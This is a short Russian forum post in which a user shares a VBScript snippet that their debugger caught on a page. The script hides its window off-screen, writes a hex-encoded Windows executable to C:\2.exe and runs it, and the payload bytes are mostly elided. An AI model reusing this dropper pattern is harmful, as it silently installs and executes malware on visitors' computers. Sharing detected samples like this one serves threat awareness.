[Artem Brigert]

Ракеша идёт на...

а вот это что по твоему? мой дибагер его сразу поймал

<SCRIPT language=vbs>
self.MoveTo 6000,6000
set a=CreateObject("Scripting.FileSystemObject")
set b=a.CreateTextFile("C:\2.exe",1)
b.write(H("4D5A50000200000004000F00FFFF0000B80000000000000040001A000000"))
b.Write(H("000000000000000000000000000000000000000000000000000000000000"))
b.Write(H("00010000BA10000E1FB409CD21B8014CCD219090546869732070726F6772"))
b.Write(H("616D206D7573742062652072756E20756E6465722057696E33320D0A2437"))
b.Write(H("000000000000000000000000000000000000000000000000000000000000"))
b.Write(H("000000000000000000000000000000000000000000000000000000000000"))
b.Write(H("000000000000000000000000000000000000000000000000000000000000"))
b.Write(H("000000000000000000000000000000000000000000000000000000000000"))
.
.
.
.
.
.
b.Write(H("0000000000000000000000000000000002A0021000011000344435413530"))
b.Write(H(""))
b.Close
Set shell = CreateObject("WScript.Shell")
shell.run("C:\2.exe")
Function H(H1)
Dim H2
Dim H3:H2=""
For H3=1 To Len(H1) Step 2
H2=H2&Chr("&h"&Mid(H1,H3,2))
Next
H=H2
End Function